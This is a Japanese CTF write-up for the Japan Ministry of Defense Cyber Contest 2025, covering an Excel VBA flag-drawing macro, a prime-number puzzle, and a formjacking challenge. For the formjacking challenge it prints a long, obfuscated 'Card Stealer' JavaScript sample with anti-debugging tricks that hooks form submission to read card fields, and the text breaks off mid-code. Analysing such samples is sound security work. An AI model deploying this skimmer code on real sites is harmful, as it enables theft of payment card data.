防衛省サイバーコンテスト 2025 writeup

Writer:b1uef0x / Webページ建造途中

概要

2024年度はまさか年初に行われるとは思わずに参加できなかったが、2025年度は無事参加。まだ観ていないガンダムのオープニングをメドレーにして作業用BGMとしていたので、これから観るたびに防衛省CTFを思い出しそうだ。

PWの1問以外解き切って19位5600点であった。

得点 スコア時系列 回答結果

目次

縮めるだけじゃダメ (100)

添付のExcelファイルからフラグを読み取ってください。

【回答書式】 flag{6桁の半角数字}

Excelマクロファイルが配布される。

幅を縮めるとflag文字列が出てくるが正しくない。GET_FLAG関数が含まれており、動作させても変わらない。

Sub GET_FLAG()
Worksheets("Sheet1").Activate
Rows("1:7").RowHeight = 30
Columns("A:AT").ColumnWidth = 6
Range("A1:AT7").Interior.Color = RGB(255, 255, 255)
Range("A1:AT1").Interior.Color = RGB(0, 0, 0)
Range("A3:AT3").Interior.Color = RGB(0, 0, 0)
Range("A5:AT5").Interior.Color = RGB(0, 0, 0)
Columns("D").Interior.Color = RGB(255, 255, 255)
Columns("F").Interior.Color = RGB(255, 255, 255)
Columns("J").Interior.Color = RGB(255, 255, 255)
Columns("K").Interior.Color = RGB(255, 255, 255)
Columns("O").Interior.Color = RGB(255, 255, 255)
Columns("S").Interior.Color = RGB(255, 255, 255)
Columns("W").Interior.Color = RGB(255, 255, 255)
Columns("AA").Interior.Color = RGB(255, 255, 255)
Columns("AE").Interior.Color = RGB(255, 255, 255)
Columns("AI").Interior.Color = RGB(255, 255, 255)
Columns("AM").Interior.Color = RGB(255, 255, 255)
Columns("AQ").Interior.Color = RGB(255, 255, 255)
Range("A1:A2").Interior.Color = RGB(255, 255, 255)
Range("C2").Interior.Color = RGB(255, 255, 255)
Range("C4:C5").Interior.Color = RGB(255, 255, 255)
Range("G1:P2").Interior.Color = RGB(255, 255, 255)
Range("P5").Interior.Color = RGB(255, 255, 255)
Range("AR2:AR4").Interior.Color = RGB(255, 255, 255)
Range("AT1:AT2").Interior.Color = RGB(255, 255, 255)
Range("AT4:AT5").Interior.Color = RGB(255, 255, 255)
Range("R2:R4").Interior.Color = RGB(255, 255, 255)
Range("B1:B5").Interior.Color = RGB(0, 0, 0)
Range("E1:E5").Interior.Color = RGB(0, 0, 0)
Range("G3:G5").Interior.Color = RGB(0, 0, 0)
Range("I3:I6").Interior.Color = RGB(0, 0, 0)
Range("L3:L5").Interior.Color = RGB(0, 0, 0)
Range("N3:N7").Interior.Color = RGB(0, 0, 0)
Range("J6").Interior.Color = RGB(0, 0, 0)
Range("L7:M7").Interior.Color = RGB(0, 0, 0)
Range("Q1:Q5").Interior.Color = RGB(0, 0, 0)
Range("AS1:AS5").Interior.Color = RGB(0, 0, 0)
Range("T1:T5").Interior.Color = RGB(0, 0, 0)
Range("V1:V5").Interior.Color = RGB(0, 0, 0)
Range("X1:X5").Interior.Color = RGB(0, 0, 0)
Range("Z1:Z5").Interior.Color = RGB(0, 0, 0)
Range("AB1:AB5").Interior.Color = RGB(0, 0, 0)
Range("AD1:AD5").Interior.Color = RGB(0, 0, 0)
Range("AF1:AF5").Interior.Color = RGB(0, 0, 0)
Range("AH1:AH5").Interior.Color = RGB(0, 0, 0)
Range("AJ1:AJ5").Interior.Color = RGB(0, 0, 0)
Range("AL1:AL5").Interior.Color = RGB(0, 0, 0)
Range("AN1:AN5").Interior.Color = RGB(0, 0, 0)
Range("AP1:AP5").Interior.Color = RGB(0, 0, 0)
Range("AN2").Interior.Color = RGB(255, 255, 255)
Range("AN4").Interior.Color = RGB(255, 255, 255)
Range("T2").Interior.Color = RGB(255, 255, 255)
Range("V4").Interior.Color = RGB(255, 255, 255)
Range("AL2").Interior.Color = RGB(255, 255, 255)
Range("Z2").Interior.Color = RGB(255, 255, 255)
Range("AJ4").Interior.Color = RGB(255, 255, 255)
Range("AH2").Interior.Color = RGB(255, 255, 255)
Range("R2:V2").Interior.Color = RGB(255, 255, 255)
Range("R4:V4").Interior.Color = RGB(255, 255, 255)
Range("W2:AA2").Interior.Color = RGB(255, 255, 255)
Range("W4:AA4").Interior.Color = RGB(255, 255, 255)
Range("AB2:AH2").Interior.Color = RGB(255, 255, 255)
Range("AB4:AH4").Interior.Color = RGB(255, 255, 255)
Range("AI2:AL2").Interior.Color = RGB(255, 255, 255)
Range("AI4:AL4").Interior.Color = RGB(255, 255, 255)
Range("AM2:AR2").Interior.Color = RGB(255, 255, 255)
Range("AM4:AR4").Interior.Color = RGB(255, 255, 255)
Range("R2:AR2").Interior.Color = RGB(0, 0, 0)
Range("R4:AR4").Interior.Color = RGB(0, 0, 0)
Range("R2:AR2").Interior.Color = RGB(255, 255, 255)
Range("R4:AR4").Interior.Color = RGB(255, 255, 255)
End Sub

GET_FLAG関数はflagを描いているが、最後に消されていると考えて1行ずつステップ実行させるとflagが見えた。

flag{268653}

暗算でもできるけど? (100)

添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。

【回答書式】 flag{n桁の半角数字}

#include <stdio.h>
int main(){int i,j,k,l;k=(((10/2*4/10*4/2)+97)*10)-10;for(i=2;i<=k;++i){l=0;for(j=2;j<i;++j){if(i%j==0){l=1;break;}}if(l==0)printf("%d\r\n",i);}return 0;}

素数を計算するプログラム。68番目と314番目の素数は337と2083なので合計値は2420

flag{2420}

formjacking (200)

添付のファイルは「Card Stealer」と呼ばれるフォームからの入力値を外部へ送信するJavaScriptです。 カード情報が妥当な場合、その値は外部へ送信されるようなので追跡したいです。

【回答書式】 flag{n桁の半角英数記号}

極度に難読化されたJavaScriptが配布される。適当にインデントを整えて実行させたところ無限ループになり、自身のソースコードを検査するアンチデバッグ技術が使用されているようだ。一応インデントを整えたコードを以下に示す。

(function(_0x566c54, _0x252a35) {
    const _0x5606d9 = _0x566c54();

    function _0x2cbcda(_0x333abb, _0x30e3f6, _0x326156, _0x3fb6cd) {
        return _0x5482(_0x30e3f6 - 0x1bc, _0x3fb6cd);
    }

    function _0x4a0ddf(_0x4d399a, _0x5c5d80, _0x346843, _0x375ed9) {
        return _0x5482(_0x375ed9 - 0x43, _0x346843);
    }
    while (!![]) {
        try {
            const _0xfa7db2 = parseInt(_0x2cbcda(0x337, 0x367, 0x35a, 0x38f)) / (-0x4 * -0x3eb + -0x731 * -0x5 + -0x33a0) * (-parseInt(_0x4a0ddf(0x24a, 0x22c, 0x24b, 0x225)) / (-0x1e2 * 0x1 + -0x1 * -0x43 + -0x1a1 * -0x1)) + -parseInt(_0x4a0ddf(0x1df, 0x1db, 0x1ee, 0x1f2)) / (0xa5 * -0x8 + 0x1a92 + -0x1567) + -parseInt(_0x4a0ddf(0x204, 0x1ed, 0x235, 0x211)) / (-0x107 * -0x2 + 0x20c4 + -0x22ce) * (-parseInt(_0x2cbcda(0x3c0, 0x3b5, 0x3b7, 0x3e0)) / (0x130c + 0x1451 + -0x9d6 * 0x4)) + -parseInt(_0x2cbcda(0x377, 0x381, 0x390, 0x372)) / (-0x22cc + -0x3 * -0x36d + 0x188b) + -parseInt(_0x2cbcda(0x375, 0x360, 0x35e, 0x37f)) / (-0x1876 + -0x36a + 0x1be7) * (-parseInt(_0x2cbcda(0x387, 0x371, 0x38a, 0x37c)) / (-0xe * 0x1db + 0x1 * 0xf7f + 0xa83)) + -parseInt(_0x2cbcda(0x3d5, 0x3ad, 0x391, 0x3ce)) / (-0x1d19 + -0xc2 * -0x31 + -0x800) + -parseInt(_0x4a0ddf(0x232, 0x220, 0x21a, 0x203)) / (-0x1 * -0x237b + -0x1283 + -0x10ee);
            if (_0xfa7db2 === _0x252a35) break;
            else _0x5606d9['push'](_0x5606d9['shift']());
        } catch (_0xc6b8e6) {
            _0x5606d9['push'](_0x5606d9['shift']());
        }
    }
}(_0x3a0c, -0x17dca + 0xa7 * -0x425 + -0x2df4b * -0x2));

function _0x261ad7(_0xefc891, _0x4af19b, _0xaf1347, _0x267784) {
    return _0x5482(_0xaf1347 - -0x78, _0xefc891);
}

function _0x5482(_0x303d12, _0x65b567) {
    const _0x56ba4c = _0x3a0c();
    return _0x5482 = function(_0x11644d, _0x322165) {
        _0x11644d = _0x11644d - (-0x1ae7 * -0x1 + -0x1511 + -0x433);
        let _0x4c4f45 = _0x56ba4c[_0x11644d];
        if (_0x5482['OUbJIQ'] === undefined) {
            var _0x51ea43 = function(_0x2494ef) {
                const _0x3ad245 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
                let _0x18a537 = '',
                    _0x3afff9 = '',
                    _0x472bd9 = _0x18a537 + _0x51ea43;
                for (let _0x4ebbf3 = 0x5 * 0x7a9 + 0x1553 * 0x1 + 0x3 * -0x13e0, _0x3187d8, _0x1ad72c, _0x3ba07d = 0x1405 + 0x433 * -0x7 + 0x960; _0x1ad72c = _0x2494ef['charAt'](_0x3ba07d++); ~_0x1ad72c && (_0x3187d8 = _0x4ebbf3 % (-0x130 + -0xd30 + 0xe64) ? _0x3187d8 * (0xd28 + 0xc1 + -0xda9) + _0x1ad72c : _0x1ad72c, _0x4ebbf3++ % (-0x1b * 0x40 + -0x220a + 0xd9a * 0x3)) ? _0x18a537 += _0x472bd9['charCodeAt'](_0x3ba07d + (-0x24 * -0x5e + -0xf93 + 0x265)) - (-0x58a * 0x7 + -0x25 * -0xe5 + -0x85 * -0xb) !== -0x47b + -0x1f * -0x122 + -0x1 * 0x1ea3 ? String['fromCharCode'](0x8eb + 0x139 * -0xd + -0xd * -0x9d & _0x3187d8 >> (-(0x20e0 + -0x1 * 0x14e7 + -0xbf7) * _0x4ebbf3 & 0x4af + 0x129 * 0x11 + -0xc31 * 0x2)) : _0x4ebbf3 : 0x1 * -0xbcb + -0x509 + 0x10d4) {
                    _0x1ad72c = _0x3ad245['indexOf'](_0x1ad72c);
                }
                for (let _0x4a937d = 0x3c1 * 0x9 + 0x202d * -0x1 + 0x67 * -0x4, _0x348be4 = _0x18a537['length']; _0x4a937d < _0x348be4; _0x4a937d++) {
                    _0x3afff9 += '%' + ('00' + _0x18a537['charCodeAt'](_0x4a937d)['toString'](-0x1051 * 0x2 + -0x1 * 0x247f + 0x4531))['slice'](-(0x89b + -0x1 * -0x2386 + -0x2c1f));
                }
                return decodeURIComponent(_0x3afff9);
            };
            _0x5482['dzvZlf'] = _0x51ea43, _0x303d12 = arguments, _0x5482['OUbJIQ'] = !![];
        }
        const _0x23fb9a = _0x56ba4c[-0x1298 + -0x1344 + 0x25dc],
            _0x4d4ec5 = _0x11644d + _0x23fb9a,
            _0xda0e3f = _0x303d12[_0x4d4ec5];
        if (!_0xda0e3f) {
            const _0xdec4b3 = function(_0x181ab5) {
                this['HyPPJn'] = _0x181ab5, this['fhQhoy'] = [0x188d * 0x1 + 0x24d5 + -0x3d61, 0x9b6 + -0x1d * -0xa1 + -0x1bf3, -0x1 * -0x1979 + -0x10cc + -0x1 * 0x8ad], this['pbUrji'] = function() {
                    return 'newState';
                }, this['pFrnSj'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*', this['DNRLxf'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
            };
            _0xdec4b3['prototype']['HwpGnA'] = function() {
                const _0x4e399e = new RegExp(this['pFrnSj'] + this['DNRLxf']),
                    _0x188d3e = _0x4e399e['test'](this['pbUrji']['toString']()) ? --this['fhQhoy'][-0x799 + -0x1693 * -0x1 + -0xef9] : --this['fhQhoy'][-0xcd7 + -0x1623 + 0x22fa];
                return this['aRmglZ'](_0x188d3e);
            }, _0xdec4b3['prototype']['aRmglZ'] = function(_0x21d799) {
                if (!Boolean(~_0x21d799)) return _0x21d799;
                return this['XxJUdG'](this['HyPPJn']);
            }, _0xdec4b3['prototype']['XxJUdG'] = function(_0x5911ee) {
                for (let _0x114d1a = -0x1 * -0x295 + 0x2063 + 0x1 * -0x22f8, _0x42ed5c = this['fhQhoy']['length']; _0x114d1a < _0x42ed5c; _0x114d1a++) {
                    this['fhQhoy']['push'](Math['round'](Math['random']())), _0x42ed5c = this['fhQhoy']['length'];
                }
                return _0x5911ee(this['fhQhoy'][0xf4 * 0x1d + 0xb0e + -0x26b2]);
            }, new _0xdec4b3(_0x5482)['HwpGnA'](), _0x4c4f45 = _0x5482['dzvZlf'](_0x4c4f45), _0x303d12[_0x4d4ec5] = _0x4c4f45;
        } else _0x4c4f45 = _0xda0e3f;
        return _0x4c4f45;
    }, _0x5482(_0x303d12, _0x65b567);
}
const _0x48de63 = (function() {
    let _0x1517b = !![];
    return function(_0x3fbc97, _0x276855) {
        const _0x75cd04 = _0x1517b ? function() {
            function _0xd0f475(_0x1700e1, _0x12fa9c, _0x3b6c10, _0x21ee3a) {
                return _0x5482(_0x3b6c10 - 0x26c, _0x21ee3a);
            }
            if (_0x276855) {
                const _0x41d2cd = _0x276855[_0xd0f475(0x465, 0x456, 0x440, 0x462)](_0x3fbc97, arguments);
                return _0x276855 = null, _0x41d2cd;
            }
        } : function() {};
        return _0x1517b = ![], _0x75cd04;
    };
}());

function _0x3e8891(_0x248591, _0x2d9c1d, _0x105848, _0x381f60) {
    return _0x5482(_0x105848 - 0x284, _0x2d9c1d);
}
const _0x49b72e = _0x48de63(this, function() {
    const _0x1ab028 = {};

    function _0x3e5f35(_0x344dc5, _0x383a24, _0x5ba83a, _0x160dd6) {
        return _0x5482(_0x344dc5 - -0x4c, _0x383a24);
    }
    _0x1ab028[_0x3e5f35(0x17d, 0x15a, 0x195, 0x155)] = _0x188fe8(0x20b, 0x226, 0x223, 0x1fb) + '+$';
    const _0x2ec8e8 = _0x1ab028;

    function _0x188fe8(_0x8f4abf, _0x39ffbb, _0x5ef0b8, _0x3e3a06) {
        return _0x5482(_0x8f4abf - 0x55, _0x39ffbb);
    }
    return _0x49b72e['toString']()[_0x3e5f35(0x180, 0x1a0, 0x186, 0x196)](_0x2ec8e8[_0x3e5f35(0x17d, 0x173, 0x152, 0x18b)])['toString']()[_0x3e5f35(0x176, 0x183, 0x197, 0x17a) + 'r'](_0x49b72e)[_0x188fe8(0x221, 0x1f1, 0x221, 0x243)](_0x2ec8e8[_0x188fe8(0x21e, 0x20d, 0x245, 0x21f)]);
});
_0x49b72e();
const _0x2476ba = (function() {
        function _0x5349dd(_0x281b0d, _0x130603, _0x299315, _0x44d252) {
            return _0x5482(_0x299315 - 0xa1, _0x130603);
        }

        function _0x5e07cc(_0x910d25, _0x12f240, _0x19dd96, _0xa6ea57) {
            return _0x5482(_0xa6ea57 - -0x12d, _0x910d25);
        }
        const _0x57f6a9 = {
            'whLwj': _0x5e07cc(0x80, 0x78, 0x62, 0x91) + _0x5e07cc(0xa4, 0xa0, 0xe1, 0xba),
            'ggHoB': function(_0x1378ef) {
                return _0x1378ef();
            },
            'kzXKz': 'log',
            'qSxmZ': _0x5349dd(0x293, 0x27c, 0x279, 0x26e),
            'hcFtw': function(_0x4d1267, _0x195fb7) {
                return _0x4d1267 < _0x195fb7;
            },
            'vwdsp': _0x5349dd(0x2bb, 0x276, 0x2a4, 0x28c)
        };
        let _0x496a09 = !![];
        return function(_0x1c3777, _0x363248) {
            function _0x29bf9d(_0x158530, _0x44a2e5, _0x5ee568, _0x3c43d9) {
                return _0x5e07cc(_0x158530, _0x44a2e5 - 0x1f4, _0x5ee568 - 0xb7, _0x44a2e5 - -0xd7);
            }
            const _0x79e7d6 = {
                    'wlHkq': function(_0x3db87b, _0x1a4401) {
                        return _0x3db87b(_0x1a4401);
                    },
                    'SYArA': _0x57f6a9[_0x192770(0x22a, 0x21f, 0x1e9, 0x20f)],
                    'AoNul': function(_0xacf91b) {
                        function _0x3d289f(_0x4c3bd2, _0x10ebf5, _0x59e372, _0x1601de) {
                            return _0x192770(_0x4c3bd2 - 0x1d2, _0x10ebf5, _0x59e372 - 0xbb, _0x4c3bd2 - 0x2c9);
                        }
                        return _0x57f6a9[_0x3d289f(0x4db, 0x4c6, 0x50a, 0x4c5)](_0xacf91b);
                    },
                    'uVONC': _0x57f6a9[_0x29bf9d(-0x7, -0x11, 0x12, -0x13)],
                    'BbHRX': _0x57f6a9[_0x192770(0x236, 0x23b, 0x210, 0x211)],
                    'axrwn': function(_0x3002c0, _0x14edf1) {
                        function _0x1ebbaf(_0x2edf9f, _0x5388dd, _0x296b08, _0x5d5fe7) {
                            return _0x192770(_0x2edf9f - 0x41, _0x5388dd, _0x296b08 - 0x11a, _0x2edf9f - -0x2ec);
                        }
                        return _0x57f6a9[_0x1ebbaf(-0x126, -0x121, -0xff, -0x126)](_0x3002c0, _0x14edf1);
                    },
                    'ITItE': _0x57f6a9[_0x29bf9d(-0x21, -0x3e, -0x22, -0x63)],
                    'uCcpm': _0x192770(0x1cf, 0x19e, 0x1a4, 0x1cb)
                },
                _0x414371 = _0x496a09 ? function() {
                    const _0x423e90 = {
                        'ZYFDA': function(_0x29fc48, _0x3eeef6) {
                            function _0x16765d(_0x5da597, _0x8024ec, _0x10257f, _0x524496) {
                                return _0x5482(_0x524496 - 0x79, _0x8024ec);
                            }
                            return _0x79e7d6[_0x16765d(0x25b, 0x255, 0x286, 0x25d)](_0x29fc48, _0x3eeef6);
                        },
                        'gYeaQ': _0x79e7d6[_0x218d68(0x392, 0x39b, 0x387, 0x362)],
                        'oFgKz': function(_0x5bba49) {
                            function _0xf5b4ad(_0x38f96a, _0x41f14e, _0x171b41, _0x3e5e5f) {
                                return _0x218d68(_0x41f14e, _0x41f14e - 0x178, _0x171b41 - 0xeb, _0x3e5e5f - 0x168);
                            }
                            return _0x79e7d6[_0xf5b4ad(0x470, 0x4a7, 0x47f, 0x46e)](_0x5bba49);
                        },
                        'ieMFl': _0x79e7d6[_0x459cbb(0x48d, 0x455, 0x470, 0x47c)],
                        'IurWB': _0x79e7d6['BbHRX'],
                        'ASFCs': _0x459cbb(0x43a, 0x45b, 0x453, 0x45e),
                        'KaxLC': 'trace',
                        'Mczbg': function(_0x7b847e, _0x3d27f5) {
                            function _0x2a79a5(_0x345896, _0x1592b5, _0x425509, _0x50d1c2) {
                                return _0x459cbb(_0x345896 - 0x131, _0x1592b5 - 0x1ae, _0x345896 - -0x1f5, _0x425509);
                            }
                            return _0x79e7d6[_0x2a79a5(0x25f, 0x25a, 0x23d, 0x251)](_0x7b847e, _0x3d27f5);
                        }
                    };

                    function _0x218d68(_0x507e6d, _0x41e6bf, _0x3ae568, _0xd82d90) {
                        return _0x29bf9d(_0x507e6d, _0x3ae568 - 0x3aa, _0x3ae568 - 0x155, _0xd82d90 - 0xfa);
                    }

                    function _0x459cbb(_0x482ec9, _0x46bafe, _0x48199b, _0x2d9f7a) {
                        return _0x192770(_0x482ec9 - 0x7e, _0x2d9f7a, _0x48199b - 0x186, _0x48199b - 0x264);
                    }
                    if (_0x363248) {
                        if (_0x79e7d6[_0x218d68(0x393, 0x389, 0x386, 0x3b5)] === _0x79e7d6[_0x218d68(0x39c, 0x380, 0x38b, 0x37b)]) {
                            let _0x2d19d8;
                            try {
                                const _0x491f8c = _0x423e90[_0x218d68(0x3a1, 0x391, 0x389, 0x3b6)](_0x5d548d, _0x423e90[_0x218d68(0x354, 0x371, 0x354, 0x35f)] + (_0x459cbb(0x446, 0x417, 0x41d, 0x422) + _0x218d68(0x361, 0x336, 0x365, 0x395) + _0x459cbb(0x436, 0x45b, 0x44d, 0x464) + '\x20)') + ');');
                                _0x2d19d8 = _0x423e90['oFgKz'](_0x491f8c);
                            } catch (_0x1ccf2a) {
                                _0x2d19d8 = _0x132586;
                            }
                            const _0x5cf6f = _0x2d19d8[_0x459cbb(0x3f6, 0x451, 0x423, 0x40b)] = _0x2d19d8[_0x459cbb(0x403, 0x448, 0x423, 0x409)] || {},
                                _0x1c2379 = [_0x423e90['ieMFl'], _0x423e90[_0x459cbb(0x476, 0x44a, 0x44b, 0x453)], _0x423e90[_0x218d68(0x37d, 0x3c4, 0x395, 0x3a3)], _0x218d68(0x320, 0x360, 0x34b, 0x334), _0x218d68(0x3d1, 0x3d5, 0x3a7, 0x3be), _0x459cbb(0x43d, 0x42e, 0x426, 0x41f), _0x423e90[_0x459cbb(0x415, 0x458, 0x427, 0x405)]];
                            for (let _0x1da08c = 0x206b * 0x1 + 0xa63 * -0x2 + -0xba5 * 0x1; _0x423e90['Mczbg'](_0x1da08c, _0x1c2379[_0x218d68(0x370, 0x362, 0x361, 0x38c)]); _0x1da08c++) {
                                const _0x907a37 = _0x1a661f['constructo' + 'r'][_0x218d68(0x370, 0x3b1, 0x39e, 0x3b7)][_0x459cbb(0x449, 0x42d, 0x42e, 0x42b)](_0x188081),
                                    _0x102cb7 = _0x1c2379[_0x1da08c],
                                    _0x288eaa = _0x5cf6f[_0x102cb7] || _0x907a37;
                                _0x907a37[_0x459cbb(0x41c, 0x41a, 0x449, 0x463)] = _0x4ec6dd[_0x459cbb(0x43a, 0x417, 0x42e, 0x413)](_0x1b3026), _0x907a37[_0x218d68(0x35e, 0x34f, 0x350, 0x333)] = _0x288eaa['toString'][_0x218d68(0x363, 0x36a, 0x35e, 0x386)](_0x288eaa), _0x5cf6f[_0x102cb7] = _0x907a37;
                            }
                        } else {
                            const _0x1fa6b7 = _0x363248[_0x459cbb(0x476, 0x41d, 0x44a, 0x476)](_0x1c3777, arguments);
                            return _0x363248 = null, _0x1fa6b7;
                        }
                    }
                } : function() {};

            function _0x192770(_0x32fb4e, _0x18496f, _0x383073, _0x236f42) {
                return _0x5349dd(_0x32fb4e - 0xe8, _0x18496f, _0x236f42 - -0x8f, _0x236f42 - 0x75);
            }
            return _0x496a09 = ![], _0x414371;
        };
    }()),
    _0xa326bb = _0x2476ba(this, function() {
        const _0x402ff6 = {
            'zfHEV': function(_0x59886a, _0x29a704) {
                return _0x59886a(_0x29a704);
            },
            'Chzzs': function(_0x250879, _0xe84945) {
                return _0x250879 + _0xe84945;
            },
            'zKQRW': function(_0x3562e5, _0x18d1cc) {
                return _0x3562e5 + _0x18d1cc;
            },
            'PeTLL': _0x5d83bb(0x356, 0x346, 0x34c, 0x325) + 'nction()\x20',
            'HSwhz': 'log',
            'ouiws': 'warn',
            'bVnBs': _0x31b96e(0x13a, 0x107, 0x128, 0x116),
            'lIXdp': _0x5d83bb(0x3a1, 0x389, 0x364, 0x361),
            'ruuXC': 'table',
            'tThUz': _0x5d83bb(0x360, 0x37a, 0x37c, 0x38a),
            'NGnyE': function(_0x58cb11, _0x32111d) {
                return _0x58cb11 < _0x32111d;
            },
            'bKASb': function(_0xe76fa1, _0x38e242) {
                return _0xe76fa1 === _0x38e242;
            },
            'fGrWn': 'raJee'
        };

        function _0x5d83bb(_0x4b7c8c, _0x56595c, _0x321864, _0x2fa8e8) {
            return _0x5482(_0x56595c - 0x188, _0x321864);
        }
        let _0x5b4d01;

        function _0x31b96e(_0x546ed5, _0x16849d, _0x3d6ae3, _0x4790dc) {
            return _0x5482(_0x3d6ae3 - -0x7d, _0x546ed5);
        }
        try {
            const _0x2f9a60 = _0x402ff6[_0x31b96e(0x123, 0x177, 0x153, 0x13d)](Function, _0x402ff6['Chzzs'](_0x402ff6[_0x5d83bb(0x31b, 0x334, 0x323, 0x308)](_0x402ff6[_0x31b96e(0x154, 0x15d, 0x154, 0x157)], _0x5d83bb(0x31e, 0x32f, 0x30f, 0x33e) + _0x31b96e(0x154, 0x136, 0x142, 0x11d) + 'rn\x20this\x22)(' + '\x20)'), ');'));
            _0x5b4d01 = _0x2f9a60();
        } catch (_0x49cf94) {
            _0x5b4d01 = window;
        }
        const _0x423573 = _0x5b4d01[_0x5d83bb(0x345, 0x335, 0x31c, 0x33b)] = _0x5b4d01[_0x31b96e(0x14b, 0x10d, 0x130, 0x112)] || {},
            _0x2d5ae7 = [_0x402ff6[_0x5d83bb(0x370, 0x375, 0x369, 0x3a2)], _0x402ff6[_0x5d83bb(0x39d, 0x378, 0x377, 0x365)], _0x5d83bb(0x33c, 0x365, 0x36c, 0x37e), _0x402ff6[_0x5d83bb(0x395, 0x37d, 0x373, 0x385)], _0x402ff6[_0x5d83bb(0x366, 0x364, 0x391, 0x370)], _0x402ff6[_0x31b96e(0x146, 0x169, 0x16f, 0x16d)], _0x402ff6['tThUz']];
        for (let _0x166a4b = -0xc2 * -0x1c + 0x101a + -0x11 * 0x232; _0x402ff6[_0x5d83bb(0x317, 0x33f, 0x363, 0x34d)](_0x166a4b, _0x2d5ae7[_0x31b96e(0x14c, 0x13a, 0x13e, 0x16a)]); _0x166a4b++) {
            if (_0x402ff6[_0x5d83bb(0x375, 0x34c, 0x333, 0x344)](_0x402ff6[_0x5d83bb(0x338, 0x33b, 0x367, 0x35d)], _0x402ff6[_0x31b96e(0x14c, 0x107, 0x136, 0x11b)])) {
                const _0x4a64aa = _0x2476ba[_0x5d83bb(0x345, 0x34a, 0x379, 0x34c) + 'r'][_0x31b96e(0x195, 0x15f, 0x17b, 0x1a8)][_0x31b96e(0x11b, 0x151, 0x13b, 0x10b)](_0x2476ba),
                    _0x3c8b27 = _0x2d5ae7[_0x166a4b],
                    _0x1e8e8d = _0x423573[_0x3c8b27] || _0x4a64aa;
                _0x4a64aa['__proto__'] = _0x2476ba['bind'](_0x2476ba), _0x4a64aa[_0x31b96e(0x158, 0x133, 0x12d, 0xfd)] = _0x1e8e8d['toString']['bind'](_0x1e8e8d), _0x423573[_0x3c8b27] = _0x4a64aa;
            } else {
                const _0x35e4ac = _0x2ec198 ? function() {
                    function _0x5242f3(_0x3aa0db, _0x22e3a, _0xc956b8, _0x2acb30) {
                        return _0x5d83bb(_0x3aa0db - 0x15f, _0x3aa0db - -0x42c, _0xc956b8, _0x2acb30 - 0x154);
                    }
                    if (_0xe1caee) {
                        const _0x41a7bc = _0x1cd981[_0x5242f3(-0xd0, -0xa0, -0xdb, -0x100)](_0x1bab40, arguments);
                        return _0x500d87 = null, _0x41a7bc;
                    }
                } : function() {};
                return _0x1e0540 = ![], _0x35e4ac;
            }
        }
    });
_0xa326bb(), document['querySelec' + _0x3e8891(0x453, 0x445, 0x46d, 0x46b)](_0x261ad7(0x130, 0x10d, 0x130, 0x12b) + 'ry-element' + _0x3e8891(0x469, 0x442, 0x463, 0x43d))[_0x3e8891(0x468, 0x45d, 0x46e, 0x48b) + _0x261ad7(0x169, 0x1a7, 0x183, 0x164)]('submit', function(_0x2791c1) {
    const _0x2b1e79 = {
        'lblGk': function(_0x4403c6, _0x5915b1) {
            return _0x4403c6 === _0x5915b1;
        },
        'uIXiT': 'MgPlC',
        'cUnJU': function(_0x5efeee, _0x48a2e7) {
            return _0x5efeee(_0x48a2e7);
        },
        'urqoZ': function(_0x3ee048, _0x10b57f) {
            return _0x3ee048(_0x10b57f);
        },
        'UyClW': function(_0x6ce8e2, _0x3df716) {
            return _0x6ce8e2(_0x3df716);
        },
        'UzCym': function(_0x1e1cb7, _0x589b40) {
            return _0x1e1cb7 > _0x589b40;
        },
        'lDdCB': function(_0x3b931f, _0x5340f5) {
            return _0x3b931f !== _0x5340f5;
        },
        'VmXQH': 'RnDgD',
        'SQDxD': function(_0x375368, _0x315815) {
            return _0x375368 - _0x315815;
        },
        'VuHbH': function(_0x2596ef, _0x4a8798) {
            return _0x2596ef >= _0x4a8798;
        },
        'QBchT': 'Scmtl',
        'ORAkQ': function(_0x3b339b, _0x147122) {
            return _0x3b339b(_0x147122);
        },
        'jtMaF': _0x56a0cc(-0x12d, -0x12d, -0x113, -0x124),
        'YKgIS': function(_0x1f3ca3, _0x44b239) {
            return _0x1f3ca3 === _0x44b239;
        },
        'hRTya': function(_0x45e367, _0x2599fd) {
            return _0x45e367 % _0x2599fd;
        },
        'trRXI': _0x56a0cc(-0x117, -0x14c, -0x12f, -0x10c) + _0x27ef0e(0x232, 0x220, 0x201, 0x22a) + _0x56a0cc(-0x13e, -0x131, -0x12c, -0x115),
        'XGLZK': 'input[name' + '=\x27exp-date' + '\x27]',
        'megJM': function(_0x48cb87) {
            return _0x48cb87();
        }
    };
    _0x2791c1['preventDef' + 'ault']();
    const _0x5930f7 = _0x27ef0e(0x271, 0x252, 0x22d, 0x272) + 'rue';

    function _0x27ef0e(_0xbd1b3f, _0x5868a4, _0x132b07, _0x2d246c) {
        return _0x3e8891(_0xbd1b3f - 0x1a2, _0x132b07, _0x5868a4 - -0x22e, _0x2d246c - 0x1bf);
    }
    const _0x9ae3dd = document[_0x56a0cc(-0xfd, -0x120, -0x125, -0xff) + _0x27ef0e(0x22c, 0x23f, 0x224, 0x227)](_0x2b1e79['trRXI'])[_0x27ef0e(0x1ea, 0x1ff, 0x225, 0x22c)];
    if (!_0x12237f(_0x9ae3dd)) return ![];

    function _0x56a0cc(_0x417bff, _0x5c2b88, _0x1266f3, _0x340cb1) {
        return _0x261ad7(_0x340cb1, _0x5c2b88 - 0x1e7, _0x1266f3 - -0x286, _0x340cb1 - 0x120);
    }
    const _0x57060f = document[_0x27ef0e(0x25c, 0x22f, 0x215, 0x20c) + _0x56a0cc(-0xf3, -0x119, -0x115, -0x110)](_0x2b1e79[_0x27ef0e(0x24c, 0x23e, 0x21c, 0x269)])[_0x56a0cc(-0x12c, -0x16e, -0x155, -0x16f)],
        _0x33294f = document['querySelec' + _0x56a0cc(-0x135, -0xe6, -0x115, -0xeb)](_0x27ef0e(0x211, 0x225, 0x243, 0x1f7) + _0x27ef0e(0x281, 0x254, 0x25b, 0x261))[_0x27ef0e(0x1f2, 0x1ff, 0x1e2, 0x1ea)];

    function _0x3bb027() {
        function _0x584c1a(_0x5ddf7d, _0xbbfca4, _0x23b269, _0x31e541) {
            return _0x27ef0e(_0x5ddf7d - 0x10f, _0xbbfca4 - -0xe9, _0x23b269, _0x31e541 - 0x1a2);
        }

        function _0x331b2c(_0x18f520, _0xc0f838, _0x3572e1, _0x3c574c) {
